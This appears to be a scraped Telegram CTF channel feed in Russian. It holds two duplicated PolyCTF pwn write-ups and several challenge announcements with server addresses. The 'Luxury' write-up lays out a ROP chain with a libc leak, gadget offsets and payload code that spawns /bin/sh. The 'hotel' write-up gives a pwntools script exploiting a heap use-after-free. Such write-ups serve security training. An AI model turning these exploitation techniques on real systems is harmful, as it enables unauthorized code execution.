exploit.py
1.1 KB
#pwn
PolyCTF. Write-up "Luxury" от @wcovkej
Итак, первым делом проверим наш файл через checksec:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No
Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.
Теперь кратко разберем, как работает программа:
1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss
2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.
Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?
Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)
Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.
Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:
1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.
2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:
pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466
3) Всё готово! Теперь составляем пейлоад и отправляем серваку:
pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)
Получаем шелл и читаем флаг. Nice!
PolyCTF. Write-up "Luxury" от @wcovkej
Итак, первым делом проверим наш файл через checksec:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No
Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.
Теперь кратко разберем, как работает программа:
1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss
2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.
Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?
Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)
Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.
Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:
1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.
2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:
pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466
3) Всё готово! Теперь составляем пейлоад и отправляем серваку:
pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)
Получаем шелл и читаем флаг. Nice!
❤10
writeup.md
3.7 KB
#pwn
PolyCTF. Write-up "hotel" от @tonysdx
Задача на эксплуатацию хипы, а именно UAF и Type Confusion.
Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.
Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.
Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.
Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.
Алгоритм следующий:
1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг
Пример сплоита:
PolyCTF. Write-up "hotel" от @tonysdx
Задача на эксплуатацию хипы, а именно UAF и Type Confusion.
Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
struct user
{
char gap[16];
long some_number;
char *login;
char *password;
};
В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.
Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.
Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.
Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.
Алгоритм следующий:
1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг
Пример сплоита:
io = remote("host", port)
def choice(index: int):
io.sendlineafter(b"> ", b"%d" % index)
# Register
choice(2)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")
# Login
choice(1)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")
# Delete user
choice(3)
# Create message with size as user
user_struct = flat({
0: b"chill guy",
16: p64(31337)
})
choice(1)
io.sendlineafter(b": ", b"40")
io.sendlineafter(b": ", user_struct)
# Secret read flag
choice(5)
io.interactive()❤13
Ура, ура, ура! Долгожданный незаезженный PWN!
#pwn
chemistry-teacher👨🏻🔬
Мой учитель химии побрился налысо, отрастил бороду, надел шляпу и начал очень странно разговаривать...
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
#pwn
chemistry-teacher👨🏻🔬
Мой учитель химии побрился налысо, отрастил бороду, надел шляпу и начал очень странно разговаривать...
45.12.114.80:32001
Автор: @s41nt0l3xus
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤2🔥2
#pwn
undefined-pointer🧑💻
Один Дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
undefined-pointer🧑💻
Один Дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.
45.12.114.80:32000
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3👌1
#pwn
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
rock-n-rollback 🪓
Теперь нет необходимости запоминать указатели и вызывать free!
45.12.114.80:32002
Автор: @s41nt0l3xus
После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.
Зеркало тасков
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2🌭2